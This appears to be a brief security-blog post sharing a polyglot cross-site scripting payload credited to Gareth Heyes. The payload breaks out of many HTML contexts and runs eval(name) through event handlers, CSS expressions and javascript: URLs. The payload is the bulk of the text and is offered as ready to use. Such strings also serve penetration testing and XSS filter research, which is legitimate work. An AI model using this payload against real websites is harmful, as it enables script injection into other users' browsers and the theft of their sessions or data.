Gareth Heyes of The Spanner came up with an XSS payload that works in multiple contexts and browsers. As always mileage will vary by vector and browser but I thought it was universal/cool enough to mention.
javascript:/*–></marquee></script></title></textarea></noscript></style></xmp>”>[img=1]<img -/style=-=expression(/*’/-/*’,/**/eval(name)//);width:100%;height:100%;position:absolute;behavior:url(#default#VML);-o-link:javascript:eval(title);-o-link-source:current name=alert(1) onerror=eval(name) src=1 autofocus onfocus=eval(name) onclick=eval(name) onmouseover=eval(name) background=javascript:eval(name)//>”